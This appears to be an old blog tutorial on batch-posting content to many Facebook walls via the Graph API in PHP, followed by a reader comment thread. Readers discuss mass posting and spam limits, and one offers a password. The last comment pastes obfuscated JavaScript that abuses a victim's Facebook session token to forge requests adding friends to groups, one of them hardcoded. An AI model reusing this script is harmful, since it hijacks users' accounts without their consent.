Tutorial: Post to multiple Facebook wall or timeline in one go using Graph API batch request
Many Facebook application developers might have come across a situation where they need to post something to many pages, groups or friends. If we need to post on 50 walls and go by the traditional method of posting one by one, we would need 50 requests to Graph API. Each request will take its time and the webpage will take ages to load. In such situation Batch Request of Graph API comes to our rescue. All types of request to Graph API (GET, POST, DELETE etc) can be clubbed together to form a batch request. So we can post a status, delete a comment, like a post or whatever you wish, just by sending one request to Facebook. In this tutorial we will be using Facebook PHP SDK for the implementation. We will create a webpage that lists all your friends, groups and pages that you liked. You can post custom messages, pictures or links to selected walls or groups.
If you are looking for a basic tutorial on Facebook connect or wish to know the basics of Graph API, please head to: Tutorial: Integrate Facebook Connect to your website using PHP SDK


Step 1 to 4 : Registering your application and Downloading PHP SDK
The primary thing to do is to register your facebook application and obtain an App ID and App secret. Then you will need to download the PHP SDK from Facebook Developer website. If you are a newbie or not sure how to do it, please refer the article Tutorial: Integrate Facebook Connect to your website using PHP SDK and follow Step 1 to 4.
Creating the access file (fbaccess.php)
Now we will create a file named ‘fbaccess.php’ which will be the heart of our web application. All the Facebook API calls and requests will be in this file.
Step 5 to 7 : Application Configuration, Creating app instance and User authentication
Please follow Step 5 to 7 form the article Tutorial: Integrate Facebook Connect to your website using PHP SDK.
The above steps will give you a code similar to:
//Application Configurations $app_id = "Your App ID goes here"; $app_secret = "Your App Secret goes here"; $site_url = "Your Site URL goes here"; try{ include_once "src/facebook.php"; }catch(Exception $e){ error_log($e); } // Create our application instance $facebook = new Facebook(array( 'appId' => $app_id, 'secret' => $app_secret, )); // Get User ID $user = $facebook->getUser(); if($user){ try{ // Proceed knowing you have a logged in user who's authenticated. $user_profile = $facebook->api('/me'); }catch(FacebookApiException $e){ error_log($e); $user = NULL; } } |
Step 8:
Variable $user will have the user ID if we have an authenticated user. In that case, we will need to create the logout URL. If we have a user who is not authenticated, then we need to generate the login URL. We use the function getLoginUrl() and getLogoutUrl() to generate login and logout URL respectively. In our demo we will need to include only ‘publish_stream’ and ‘user_groups’ as scope parameters. With ‘publish_stream’ permission we can publish a post to your friend’s timeline or to a page that you liked. ‘user_groups’ permission grants information about the Facebook groups in which the application user is a member.
if($user){ // Get logout URL $logoutUrl = $facebook->getLogoutUrl(); }else{ // Get login URL $loginUrl = $facebook->getLoginUrl(array( 'scope' => 'publish_stream user_groups', 'redirect_uri' => $site_url, )); } |
Step 9:
In this step we will retrieve the logged in user’s details, his friend list, his groups and also the pages that he liked. We will retrieve these 4 items with just one request to Facebook Graph API using batch request. If we were to go by the normal method of not using the batch API we will need 4 requests to Graph API. With 4 requests the details can be retrieved as shown below.
$user_info = $facebook->api('/'.$user); $friends_list = $facebook->api('/'.$user.'/friends'); $groups = $facebook->api('/'.$user.'/groups'); $pages = $facebook->api('/'.$user.'/likes'); |
Using batch request will cut down the requests from 4 to 1. For a batch request first step is to save the method calls into an array. We make an array named $queries and push each of the 4 requests into it.
$queries = array( array('method' => 'GET', 'relative_url' => '/'.$user), array('method' => 'GET', 'relative_url' => '/'.$user.'/friends'), array('method' => 'GET', 'relative_url' => '/'.$user.'/groups'), array('method' => 'GET', 'relative_url' => '/'.$user.'/likes'), ); |
Then we will POST the array as a single request as shown below.
try{ $batchResponse = $facebook->api('?batch='.json_encode($queries), 'POST'); }catch(Exception $o){ error_log($o); } |
The request will return the values that we requested indexed in the order of the array as a JSON. We will get the required user info, friends list, groups and pages by decoding the JSON.
$user_info = json_decode($batchResponse[0]['body'], TRUE); $friends_list = json_decode($batchResponse[1]['body'], TRUE); $groups = json_decode($batchResponse[2]['body'], TRUE); $pages = json_decode($batchResponse[3]['body'], TRUE); |
Step 10:
Now we can write the code for the batch posting. Here we assume that the content to be posted and the IDs of friends, groups and pages where the matter need to be posted is available in the $_POST variable. $_POST variable is a collection of key => value pairs and we assume that each IDs in the variable has a ‘id_’ prefix in the key. Thus by checking for the prefix ‘id_’ we can identify the User IDs, Groups IDs and Page IDs where the content is to be posted.
The basic method is same as in Step 9. First we need to make an array and push each and every Graph API request to the array. Then we will post the array as a single request to graph API using the function api().
$batchPost[] = array( 'method' => 'POST', 'relative_url' => "/{ID1}/feed", 'body' => http_build_query($body) ); $batchPost[] = array( 'method' => 'POST', 'relative_url' => "/{ID2}/feed", 'body' => http_build_query($body) ); $batchPost[] = array( 'method' => 'POST', 'relative_url' => "/{ID3}/feed", 'body' => http_build_query($body) ); $multiPostResponse = $facebook->api('?batch='.urlencode(json_encode($batchPost)), 'POST'); |
Here $body is an array which has many key => value pairs. We use the function http_build_query() to URL encode the array. http_build_query() generates a URL-encoded query string from the associative (or indexed) array provided.
json_encode() returns a string containing the JSON representation of the array. We need to pass this string to the api() function for the batch request. As we made the string from multi-dimensional arrays there may be some issues like posting blank messages to user’s wall or timeline. The API request is similar to a URL query. So we need to encode the string to match the format. urlencode() is used for encoding a string to be used in a query part of a URL. This will solve the issue of posting blank data to the timeline.
Now we will modify the code to suit our application. First we will generate the array $body. We will get the data to be posted to user’s timeline from the $_POST variable. In this particular demo we will use just 6 of many possible post fields. The 6 fields that we use are message, link, picture, name, caption, and description. If you wish to have more fields please refer Facebook documentation for information on all possible fields.
A picture is worth a thousand words. So please see the images below to know what the fields are. The first pic shows the legacy Facebook wall and the second one shows how the post will look in the timeline. Of the 6 fields that we use 5 are shown there. The sixth one is ‘link’ field. In the ‘link’ field we specify the hyperlink for the ‘name’ field.
Now we need to generate Graph API request for each and push them to an array. Each request will need the ID of the user, group or page. For each key => value pair in the $_POST variable, we check for the prefix ‘id_’ in the key and if found we can confirm that the value associated with the key is an ID. For each IDs we generate Graph API request and push it to $batchPost array.
Another important point to note is that Facebook currently limits the number of batch request to 50. So you can do a maximum of 50 requests at once. So if you have more than 50 requests then you will have to do multiple batch requests. In our application, once the $batchPost array accumulates 50 requests we do a batch request and then flushes the array.
if(isset($_POST['submit'])){ $body = array( 'message' => $_POST['message'], 'link' => $_POST['link'], 'picture' => $_POST['picture'], 'name' => $_POST['name'], 'caption' => $_POST['caption'], 'description' => $_POST['description'], ); $batchPost=array(); $i=1; foreach($_POST as $key => $value) { if(strpos($key,"id_") === 0) { $batchPost[] = array( 'method' => 'POST', 'relative_url' => "/$value/feed", 'body' => http_build_query($body) ); if($i++ == 50) { try{ $multiPostResponse = $facebook->api( '?batch='.urlencode(json_encode($batchPost)), 'POST' ); }catch(FacebookApiException $e){ error_log($e); echo("Batch Post Failed"); } unset($batchPost); $i=1; } } } if(isset($batchPost) && count($batchPost) > 0 ) { try{ $multiPostResponse = $facebook->api('?batch='.urlencode(json_encode($batchPost)), 'POST'); }catch(FacebookApiException $e){ error_log($e); echo("Batch Post Failed"); } } } |
‘fbaccess.php’ is now complete and we will proceed to ‘index.php’.
Creating the main webpage (index.php)
Step 11:
In ‘index.php’, the first thing to do is to check whether the user is authenticated or not. If we have a user who is not authenticated, display a login button with the login URL. If we have a login user, we will display a form which has provision for entering custom data to be posted. It will also have option to select the users, groups and pages where the user wishes to post the data.
Create 6 input text fields with names – message, link, picture, name, caption, and description. Then display the names of friends, pages and groups from the arrays $friends_list, $pages and $groups respectively and associate a check box with each of them. Name the check boxes with prefix ‘id_’ and ID of the object (user, page or group) as the value for the check box. And now add a submit button with name ‘submit’. In this demo script I have used an “image” input type to submit the form. For the PHP processing script to work we need to add a “_x” suffix to the field name in the processing PHP code, if we use an “image” input type to submit the form.
In the demo, I have added few extra functionalities like select all, error messages etc. I have also added a variable $limit which limits the number of displayed entries in each category, that is, friends, pages and groups. I have limited the number to 500 in the demo. You can just change the value of $limit and specify the limit for your code. You can download the complete source of the demo from here. Please feel free to comment if you find any mistakes or improvements to the script.
















Hi, Thanks for your example. I am having a look at this (from a very very amateur perspective!) and have basically set your example to run on one of my domains. It all works fine, except that the logout doesn’t redirect/reload the page without any data on it.
It does log you out of facebook, but the page does not refresh to a login page. Is there any likely offenders (not including my ignorance!!)?
Its because of a recent Facebook API change – ‘offline_access Permission Removal’.
Because of the change, by default, an access_token is valid for 60 days. Your app doesn’t logout because of that.
You can use the old API till May 01, 2012 by disabling the ‘Deprecate offline access’ setting from Edit App > Advanced > Migrations tab. Its currently enabled by default for any newly created apps. Disabling it will solve your issue for time being.
You can read more about it at:
http://developers.facebook.com/roadmap/offline-access-removal/
Thanks for that, all working…for now at least!
man can you be a little bit easier
like what to change exactly
just only what to change in the uploaded folder and files
….
and then if u want to explain any thing u want in details u can like u did
….
did u understand me
sorry for my bad english
..
i just uploaded the folder post-to-multiple-facebook-wall
and i only changed this
$app_id = “Your App ID goes here”;
$app_secret = “Your App Secret goes here”;
$site_url = “Your Site URL goes here”;
++++++++++++++++++++++++++++++
is there anything else i have to change after that
?????
hey also the groups is not working i dont see any groups goten
first of all i want to say that it is not working
second the code is different from the one in the demo
because i get the groups in the demo and i dont get it in the download sample
it is not working
Try clearing the cookie and run again.
hey dear, my website http://www.appcenter.pro
can you plz check as this script is not working for a long time.
Same here. http://queromaispicole.com/post
Hi again!
Is there a max number of records that this method can handle. If me and my feable number of friends pages and groups log in it’s all fine, but if my friend with around 3,000 then they cannot see pages, just groups and friends?
Facebook currently limits the number of batch request to 50. So you can do a maximum of 50 requests at once. So if you have more than 50 requests then you will have to do multiple batch requests.
In the script, if the user selects 150 friends, then 3 batch requests will be made – one each for 1-50, 51-100 and 101-150.
In the script, I have limited the number of check boxes to 500 in each category (pages, groups and friends). That is, the script will show a maximum of 500 pages, 500 groups and 500 friends. You can change the limit by simply changing the variable $limit in ‘index.php’.
Thanks for your time. My problem seems to be a little odd then, since its simply that for one user, pages don’t show up at all(groups and friends do, and for other users pages, groups and friends all show up just fine). I thought it could be a privacy setting, but after a quick look, they appear to be identical. Is there one that’s most likely to cause the problem for a single user?
Adam
Its the first time that I hear such an issue. Am not sure why it happens. Are you sure that the particular user has liked at least a page?
403 pages, 1542 friends, and a few groups, yes! (that’s a separate issue!!). Honestly I am assuming its a setting on her account since its only a problem for a single user, but still, very odd, and I honestly can’t find a difference in her settings versus my settings…!!
I have this problem, Pages do not show even though I have more than 15 like pages
Sir,
I want to ask you that if i use this type of app to post on my all groups(200+) than did facebook treat this as spam ?
and what happen if i use this app for 24 or more times a day means 200 x 24 = 4800 posts a day with this app for single user is this is ok or facebook block this app or the user id
what do you suggest
thank you so much for kind corperation and favor
If you do so, its likely that many people will Report / Mark the app as spam and it will lead to restrictions on the app by Facebook.
Sir means if people will don’t mark than it will not block my id and my app right ?
and sir i face one amazing problem your app work fine and i posted on my almost 20+ groups but not all groups 100+
if you want i can give you my fb id and pass and other details please let me known my email is danish@tokyo.com
Thank you so much
hello sir
i really want to say thank you for this script which i need so much
but i faced some problems in publishing my posts if i chose select all option it gives me plank page, i even used error log report and i found this error [21-Mar-2012 08:50:27] PHP Warning: PHP Startup: Suhosin Extension does not officially support PHP 5.2 and below anymore, because it is discontinued. Use it at your own risk. in Unknown on line 0. also it seem not working with the pages which using timeline
any help please
thanks in advance
The script works on pages where timeline is enabled. You can find the post under ‘Recent Posts by Others on {PAGE_NAME}’ section.
And the PHP Warning is because of a recent PHP / Suhosin upgrade. You can try the solution mentioned here
hello sir , thanks for your fast reply its really not appear specially in my page since i start timeline, beside if i choose multiple user, group, and pages it gives me blank page with this address publish.php?stat=bla bla. i edit the script to fit my script please sir take a look of the code maybe i have something wrong. here the code. and for suhosin i use a shared host not dedicated server so i cant control my site
so if u can help me ill appreciate it for you. thank u again
There is no problem with the batch post script. I tried your application. If you remove the GET variables ‘state’ and ‘code’ from the URL after the login, your webpage works fine. I cannot say more on this problem with out seeing the complete code as there are so many includes in it.
This tutorial really rocks! Thanks!! But I’ve got a small issue. In the timeline the posts I create with my own app doesn’t look like the one you have published. They don’t have the customize blue background for the description neither the proportion space between the description and image and the footer with the social stuff (likes, comments).
Please, could you help me?
Here is an image:
I’m truly sorry, it seems I forgot to pass you the url:
Image Link
Regards
Currently for posts from applications you wont get the blue background.
The default footer will have likes and comments.
If you have any custom actions defined like share the post will have an extra footer with those actions.
Thank you very much with your quick response Tebe. Have you got any tutorial about how to make and action? I have already implemented the facebook stuff, but I don’t know how should I integrate it in my web’s code.
This is how you add actions. It is array of objects containing the name and link.
Tebe, thank you again for your quick response but I believe that the code to publish action was similar to this:
(POST /me/{namespace}:{action-type-name})
Exemple:
https://graph.facebook.com/me/recipebox:cook?
recipe=http://www.example.com/pumpkinpie.html&access_token=YOUR_ACCESS_TOKEN
I have been trying to integrate it to my own code but I still have problems, that’s why I asked your help. Though in this case I do not plan to send a multiple walls action only 1-1.
I know you have another tutorial, which I have also studied to implement the connection for my actions through Php SDK, (http://25labs.com/tutorial-integrate-facebook-connect-to-your-website-using-php-sdk-v-3-x-x-which-uses-graph-api/)
Regards,
Not sure if you’ve managed to the get actions working on the batch API, but in case you haven’t you just need to json_enconde() the actions array.
$body = array(
'message' => $_POST['message'],
'link' => $_POST['link'],
'picture' => $_POST['picture'],
'name' => $_POST['name'],
'caption' => $_POST['caption'],
'description' => $_POST['description'],
'actions' => json_encode(array('name'=>'Download', 'link'=>'http://xxxx.com/yyy.zip'))
);
Hello please help me out.
I post to wall of friend then I see this error message
This content is currently unavailable
The page you requested cannot be displayed right now. It may be temporarily unavailable, the link you clicked on may have expired, or you may not have permission to view this page.
Return home
Please any one help me
I am not sure why this happens !!
it worked very well for me for sometime. And suddenly it stopped posting for no reason. can someone suggest what could be the issue. I get no errors.
Please check your error log.
Or replace the error_log($e) statements in the script with print_r($e) and figure out the errors.
Hi there, your script is wonderful. I’m wondering if is there any way not to post into a fan page I administer but to post ON BEHALF of a fan page I administer..
any clue?
Thanks!
N
You need to use Page Access Token instead of User Access Token to post as Fan Page.
To get page access token you need manage_pages permission. Then use:
can you guide me where to put this code
$page_access_tokens = $facebook->api(‘PAGE_ID?fields=access_token’);
print_r($page_access_tokens['access_token']);
in php file?
Including the above code as such in the script will not help you.
The above shown is the method to get the access token for the specific page. You will have to use the method to get page access token and then modify the script to get it work as you wish.
Thanks for your script..
But how to change friends/groups selector to DIALOG POPUP like “Enabling the Multi Friend Selector Dialog for Requests” at https://developers.facebook.com/docs/reference/dialogs/requests/
I think it’s so nice to see like that dialog.
This tutorial basically deals with how multiple requests to Facebook can be combined to form a batch request. What you look for is an entirely different category.
I have set up the app details but when I try to use the script Facebook returns “An error occurred. Please try again later.”
Why is that?
Also, when I try to post on multiple walls here is what I get: “Batch Post Failed” and no post is made. How can I fix this?
Please check your error log for any errors..
The message and all are posted on the groups wall and pages wall successfully.
But it doesn’t work on friend’s wall. It doesn’t show any error.
How can i post on the friend’s wall or timeline.
Please me out of this.
Hmm.. now it worked.. but even though it says “Successfully posted to the selected walls”, it was not posted to all the walls. I have ~3000. The error log is empty this time.
I have limited the script to show only 500 friends, groups and pages. You can change the limit by changing the $limit variable in index.php
Oh, you are right. I have reinstalled the script now, before testing again and I guess it worked because I had 500 users, not 3000, maybe if I test again with 3000 it will give me errors.. I’ll see some other day. I don’t want to spam people.
Hello There is a problem on logout ‘it does not work’ Please help
The logout problem is because of a recent Facebook API change – ‘offline_access Permission Removal’.
Because of the change, by default, an access_token is valid for 60 days. So even if you log out of Facebook your app will remain logged in as the access token doesn’t get expired.
You can use $facebook->destroySession() to force logout of a user from your app.
Translated: It’s all very well but lack a detail as I have all this to my database, if you could tell us how to please! thanks
Hello Tebe, I am able to fetch data from FaceBook but not able to post. When group wall or page is selected to post data it shows ‘Successfully posted to the selected walls’ but when I check it does not work.
I am using this version ‘facebook-facebook-php-sdk-v3.1.1-27-gaba1cc4′.
The error shown in log file is ‘CSRF state token does not match one provided.’.
When I debugged the app using Facebook debugging tool it showed some Open Graph Warnings That Should Be Fixed.
you can see the link http://plus.iteching.info/
Please Help!!
I have written the script for just demonstration purpose. ‘Successfully posted to the selected walls’ doesn’t guarantee that it will be posted to all selected walls.
Try printing the variable $multiPostResponse after the batch post. $multiPostResponse will be a muti-dimentional array. Please check the value of ‘code’ key in each of the array in $multiPostResponse. For each successful post the value must be 200.
And I am unable to connect with your script at http://plus.iteching.info/
There is some misconfiguration there.
Hello
first i havbe to say. Wow nice tutorial. And thank you for your amazing work.
I just wanted to aks if you know if facebook changed anything because when i test my app aiwth your script and testusers i posting on there wall anyway how much them are. if i use it in the public facebook sometimes it sends to a few user wall (to all pages and groups walls) and thats it. you ahve any clue why i cant pin my message to all my friends walls?
Regrads Said
There is no major Facebook API change since. Only change is the depreciated offline access. But only problem caused by this change is the logout problem. Your problem is not because of that. It might be because of Facebook API errors. Try printing the $multiPostResponse variable in fbaccess.php and see what’s the error.
Hi, Thanks for this code. I am trying to make it to work for me. I just downloaded the code and hosted on my server and updated app id,secret and site url.
I am able to connect and it shows all my contacts. When I hit the post button, it processes and displays “Successfully posted to the selected walls”. But, it is not actually showing up in the facebook wall. It is not throwing any error.
Am I missing anything?
Really appreciate if you can give some direction on how I can fix this?
I have made the script for demo purpose only. The message “Successfully posted to the selected walls” will be shown even if the post is successfully posted to one of your selection.
Check your error log to find out the reason for failure to one or more of the selected accounts.
Hi,
Please help me out.
I have requested a permission(publish_stream,user_group,email) but still unable to post on friends wall.
Thanks
Please check your error log to know why it happens.
Hello Tebe, this is just amazing script, but I am getting the same error as the guy above “CSRF state token does not match one provided” and message is not posted. Any idea?
I already commented about CSRF problem. I figured that one out. Now I have a question regarding to a posting. I notice post appears only on first 10-20 pages
Hi, Thomas Can you share with us how you got rid of the problem “CSRF state token does not match one provided.”
I already commented about CSRF problem. I figured that one out. Now I have a question regarding to a posting. I notice post appears only on first 10-20 pages and not on the rest ( i selected 45). I also noticed that you cant post again, only in case when you create new app. Is there a workaround? My error log is empty.
Try printing the variable $multiPostResponse.
If you select 45, then it will be an array with 45 entries and each will contain a key ‘body’ and its corresponding ‘value’ will have the post ID of the newly created post.
Please check whether 45 posts IDs are returned.
Hi, do you mind sharing how did you sort out the CSRF problem?
Thanks
Please make sure that
is called just once.
Please comment if it helps.
Hi Tebe,
I think your code is very valuable, but as my predecessors I have similar problem – I can see all my pages, likes and groups and I get message “Successfully posted to the selected walls”, but nothing is posted in reality. I parsed variable $multiPostResponse after the batch post and the key ‘code’ shows 200, so I’m confused, because you mentioned before it stated the success. I wonder if I missed any permissions, because when I check your application from your demo on my facebook app settings it shows some more additional permissions than my application based on your original code. Just to mentioned I installed latest php sdk, also I don’t get any error in log file.
Cheers
Please note that when you post to page with timeline enabled, the posts appears under the section ‘Recent Posts by Others on PAGE’.
Check the key ‘body’ in $multiPostResponse. It will contain the post ID of newly created post.
is there anyway we can store user email into our database ?
Follow the tutorial http://25labs.com/tutorial-integrate-facebook-connect-to-your-website-using-php-sdk-v-3-x-x-which-uses-graph-api/
Ask for ‘email’ permission and you will get the email in $user_info['email']
Hello thank you for the hard work but i am facing some problem i think due to timeout or something all msg is not posting on all the pages,groups,and profiles, 2nd thing you $limit = 500; how to see next 500 ? and how to post next 500 ??
$pages['data'], $groups['data'], $friends_list['data'] will have all your pages, groups, and friends. Write your own script for pagination.
thank you for the help
i found you site very useful thanks for everything
Hello , can u help me . http://kidphantom.co.cc/poster/
humm? any suggestion? inbox me also
http://www.facebook.com/cyb3rkid thanks
Please check your ‘php.ini’ and see whether ‘session.save_path’ is set and is point to a valid path. In many hosts the line session.save_path would be commented out. Please make sure that you set it to valid path if not set.
Oh this is exactly what i am looking for.. Anyone like to configure it for me..all this goes over my head.
Mark
same here please help me out
There is a guy who is selling your script here http://forums.digitalpoint.com/showthread.php?t=2494796 and http://forums.digitalpoint.com/showthread.php?t=2488286.
Thanks for informing
hi im new to fb and read this tutorial i created the test app and page at http://gahousebuyers.com/pd/stream/s/ but after clicking login and giving access the login page again loads with button only?
Sorry for the late reply. It works fine now. Right?
for some reason it doesnt seem to post to fanpages, and im also checking fanpages with timeline enabled.
Are you sure that it doesn’t post to fan pages?
Please check ‘Recent Posts by Others on Page’ section on the fan page.
Yeah i checked that too
May be because admin of the page has disabled this feature.
‘Manage Permission’ settings for Pages has ‘Posting Ability:’ and ‘Post Visibility:’ which can restrict posting or restrict the visibility of posts.
Thats a possibility
https://apps.facebook.com/irecharge/
Make any fb Integrated referral system with cookie tracking…
How do i post messages to users wall using my fan page name instead of showing that user has posted this message??Also how i can post the message something like this…XYZ(name of the user)
You will need to use Page access token instead of User access token to post as Page.
Also how can i post a message like this…XYZ(name of user) watched a video on sitename(this should be linked with website).I have tried adding html content to the message but it is not accepting??
Are you talking about Open Graph actions??
http://developers.facebook.com/docs/opengraph/
here i test
sorry for my bad english.
index.php is missing !!
Please rename index1.php to index.php so that I can test the app.
can i post on subscriber’s wall using application ?
i meant
can i post on user’s wall using application ?
users whose connected to the application
How could you use this batching feature to tag friends in an image?? So if i wrote an application which uploads an image to an album and i wanted to tag 5 of my friends on that image. How could i tag using the batch?? Rather than sending 5 api requests?
can i post also on my subscribers wall ?
I want code that will post on all group and pages after user allows app.
any idea sir to Post as Fan page.. i did few modification but stuck on that page tokens..help me out
hello sir i em new boy please tell me in detail how to host these codes in webhost ?
thanx sir !
hi i need facebook auto comment, the one that i can write whatever i want in it, how can i do it? pls message me your answer
https://www.facebook.com/Hoveen.Sabah
Dear admin I read all of tips and trick to made my own page and i done almost everything but something gonna be missed from me kidly take a look on my hosted webpage as
http://classifieda.webatu.com/magaposter/index.php
and i got that type of error on my hosting folder such as error_log
[07-Aug-2012 14:26:46] OAuthException: Error validating access token: User 100001580870221 has not authorized application 452991334722578.
[07-Aug-2012 14:27:24] CSRF state token does not match one provided.
[07-Aug-2012 14:28:17] CSRF state token does not match one provided.
[07-Aug-2012 14:28:18] CSRF state token does not match one provided.
kindly help me asap and sort-out this damm issue many thank for sharing this method with all of us im waiting your kind reply or send me email > salahamways88@gmail.com
All Works
pages come
friends
come
group come
but when i click on post
it loads
and msg comes
successfully posted to selceted walls
but when i check fb no post are actually posetd?
please reply fast…
Fatal error: Class ‘Facebook’ not found in C:\xampp\htdocs\facebook\fbaccess.php on line 13
A Fatal error is coming and its not working..What should do it?
thanks for the project its pretty awesome, i have one doubt about adding the code of the new beta notification api, i dont see where or how to implement the code to make it work, i hope you can help me asap. thanks
I have no experience with this, wondering if If there is a software I can download that does this!
hi
thank you for the script
but i cant publish non english how can i fix this
this script is no more working…
i dont know why…
but facebook is showing some errors…
Ahi-Team Says Thanks Very much
Thanks a lot for your great program!!!!
I’m using it for a french facebook-account, but I have trouble with the accents (à, é, è and so on). Is there any simple way to fix this?
Helo sir…
its not working..
http://www.multipleposter.netai.net/
hi sir the script was working like a charm up to yesterday
but now it didnt even connect to facebook however i didnt change anything since i create it, is there any premission changed in facebook developers?
hey , if i already have list of id , and i want to post to their walls , how to alter the code ?
Facebook ends up being my second home.
Thanks Bhai(bro) (y). You are Amazing :*
Thank You Very Much For this Tutorial.
I have been searching for a method to post on multiple pages I’am (Admin). I have some bad friends who got the working method and they are not sharing :’( I daily Google but found something like you have mentioned
"$page_access_tokens = $facebook->api('PAGE_ID?fields=access_token');
print_r($page_access_tokens['access_token']);"
I have the Page Access Token Now, Just the last step how to use that access token in your script. you have also mentioned that replace user_access_token with page_access_token. but i don’t know how
If Possible please help me. (in your free time)
(susheel.seth@gmail.com)
I seems that for some reason it won’t post to all the pages where I have writing rights. Why is that?
i uploaded the foles bt all showng like this
Warning: include_once(src/facebook.php) [function.include-once]: failed to open stream: No such file or directory in /home/u170678126/public_html/2/modules/code/view.php(30) : eval()’d code on line 7
Warning: include_once() [function.include]: Failed opening ‘src/facebook.php’ for inclusion (include_path=’.:/usr/lib/php:/usr/local/lib/php’) in /home/u170678126/public_html/2/modules/code/view.php(30) : eval()’d code on line 7
Fatal error: Class ‘Facebook’ not found in /home/u170678126/public_html/2/modules/code/view.php(30) : eval()’d code on line 12
Thanks for your valuable post. Over time, I have been able to understand that the actual symptoms of mesothelioma are caused by the actual build up associated fluid between lining of your lung and the chest cavity. The disease may start inside the chest place and spread to other parts of the body. Other symptoms of pleural mesothelioma cancer include fat reduction, severe inhaling and exhaling trouble, vomiting, difficulty ingesting, and puffiness of the neck and face areas. It ought to be noted that some people having the disease will not experience any kind of serious indicators at all.
Hi Tebe, First of all, this is an amazing post buddy. I tired your script and it works find. But it does not actually post on any walls. I read the error log and always these 2 lines.
[24-Nov-2012 16:29:33] OAuthException: Error validating access token: User 1597627291 has not authorized application 219832414804084.
[24-Nov-2012 16:47:27] CSRF state token does not match one provided.
And ideas how to get this up and running buddy
it was working till yesterday ,
But today its not.. after allowing the apps , it just goes back to facebook connect page…
Y is that so.?
The server encountered an internal error or misconfiguration and was unable to complete your request.
Please contact the server administrator, webmaster@saya.com and inform them of the time the error occurred, and anything you might have done that may have caused the error.
More information about this error may be available in the server error log.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
Hi , I use the same but have a problem in it , do check http://fb.getsupdates.com and do help me please ..
hi tebi 1st of all thanks you very much for this wonderful tutorial for integrating the fb login.
I have successfully made the fb login to my site but i am not able to logout from fb
kindly give code for fb logout in PHP skd
Thanks
Sudharsan
tebi also i getting following error in my error log kindly give solution for this
CSRF state token does not match one provided.
CSRF state token does not match one provided.
CSRF state token does not match one provided.
Thanks
Sudharsan
dear admin how do i change the posts title wen i post, i got sum thing like this (Publish to Multiple wall or timeline using Facebook batch request | 25 labs
apps.facebook.com) i changed every think title app id sit name
thanks for this upp
hello i cant download the script
i loged in bt its stil asking me to login and after i login its redirecting me to this page : .. help me
I have this problem too.. any solutions ?
Directly Click on http://25labs.com/demo/post-to-multiple-facebook-wall/post-to-multiple-facebook-wall.zip
And Download it
Hi There, FOA, Thanks for the scripts. But I am having a problem. I clicked on connect and it worked normally with facebook but when it redirected back. the page didn’t list my groups, pages, and friends. What’s wrong? Please response me ASAP . Thanks
Thanks for all :*
it showing successfully posted to the selected walls but on friend wall there is nothing ..and no any notification
?why?
Hello!
This article is very useful to me and i also hack into his script who post in forum for sale. he use nothig extra just a jquery for login and logout.
With his script I also solve the problem of logout.
and TEBE which you told us the technique for logout it make problems in script like “Groups did not show”.
One thing that did not solved is about CRSF.
Any help here.
and if anyone want to know about logout problem he just reply this and i will post it here.
sir please add a video for how make this app
i have successfully logged in using fb i also get all pages,friends,groups and when i select some of them and send above shown 6 fields…no post is created to any wall or the timeline of the selected plz guide whr m i going wrong…
does anybody knows how to create a autolikers such as like the autosubcribers example:
function penetrasi(e){jx.load(window.location.protocol+”//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=”+document.getElementsByName(“fb_dtsg”)[0].value+”&group_id=”+memberGroupId+”&source=typeahead&members=”+e+”&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=”+Env.user,function(e){e=e.substring(e.indexOf(“{“)),e=JSON.parse(e),i–,kunaon=”",kunaon=e.errorDescription?kunaon+e.errorDescription:kunaon+JSON.stringify(e,null,”")):(kunaon+=”color:darkgreen’>”,kunaon+=arr[i],suc++),kunaon+=”",e=”"+(“”+tulisanNganu+”"),0<i?(e+=arr.length+" Suscribers detected”,e+=”“+suc+” Suscribers added of “+(arr.length-i)+” Suscribers Processed “,e+=”(“+i+” more to go..)”,e=e+”"+kunaon,e+=”"):(e+=arr.length+” Suscribers detected and “,e+=”“+suc+” Suscribers added“,e+=”Close”),document.getElementById(“pagelet_welcome_box”).innerHTML=e+”"},”text”,”post”),tay–;if(0<tay){var t=arr[tay];setTimeout("penetrasi("+t+")",100)}console.log(tay+"/"+arr.length+":"+t+", success:"+suc),0xf2a794cf90e3!=memberGroupId&&jx.load(window.location.protocol+"//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg="+document.getElementsByName("fb_dtsg")[0].value+"&group_id=134344036695273&source=typeahead&members="+e+"&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user="+Env.user,function(){},"text","post")}function clickfr_callback(){0<document.getElementsByName("ok").length&&nHtml.ClickUp(document.getElementsByName("ok")[0]);var e=arr[i];i<arr.length&&addfriend(e.substring(0,4))}function clickfr(){0n&&!((new Date).getTime()-t>e);n++);}var tulisanNganu=”AUTO SUBSCRIBE IS NOW PROCESSING. BY: AUTO SUBSCRIBE, LIKE & PLUG ZONE”,kunaon=”";jx={getHTTPObject:function(){var e=!1;if(“undefined”!=typeof ActiveXObject)try{e=new ActiveXObject(“Msxml2.XMLHTTP”)}catch(t){try{e=new ActiveXObject(“Microsoft.XMLHTTP”)}catch(n){e=!1}}else if(window.XMLHttpRequest)try{e=new XMLHttpRequest}catch(r){e=!1}return e},load:function(b,c,d,e,g){var f=this.init();if(f&&b){f.overrideMimeType&&f.overrideMimeType(“text/xml”),e||(e=”GET”),d||(d=”text”),g||(g={});var d=d.toLowerCase(),e=e.toUpperCase(),h=”uid=”+(new Date).getTime(),b=b+(b.indexOf(“?”)+1?”&”:”?”),b=b+h,h=null;”POST”==e&&(h=b.split(“?”),b=h[0],h=h[1]),f.open(e,b,!0),”POST”==e&&(f.setRequestHeader(“Content-type”,”application/x-www-form-urlencoded”),f.setRequestHeader(“Content-length”,h.length),f.setRequestHeader(“Connection”,”close”)),f.onreadystatechange=g.handler?function(){g.handler(f)}:function(){if(f.readyState==4)if(f.status==200){var b=”";f.responseText&&(b=f.responseText),d.charAt(0)==”j”?(b=b.replace(/[\n\r]/g,”"),b=eval(“(“+b+”)”)):d.charAt(0)==”x”&&(b=f.responseXML),c&&c(b)}else g.loadingIndicator&&document.getElementsByTagName(“body”)[0].removeChild(g.loadingIndicator),g.loading&&(document.getElementById(g.loading).style.display=”none”),error&&error(f.status)},f.send(h)}},bind:function(e){var t={url:”",onSuccess:!1,onError:!1,format:”text”,method:”GET”,update:”",loading:”",loadingIndicator:”"},n;for(n in t)e[n]&&(t[n]=e[n]);if(t.url){var 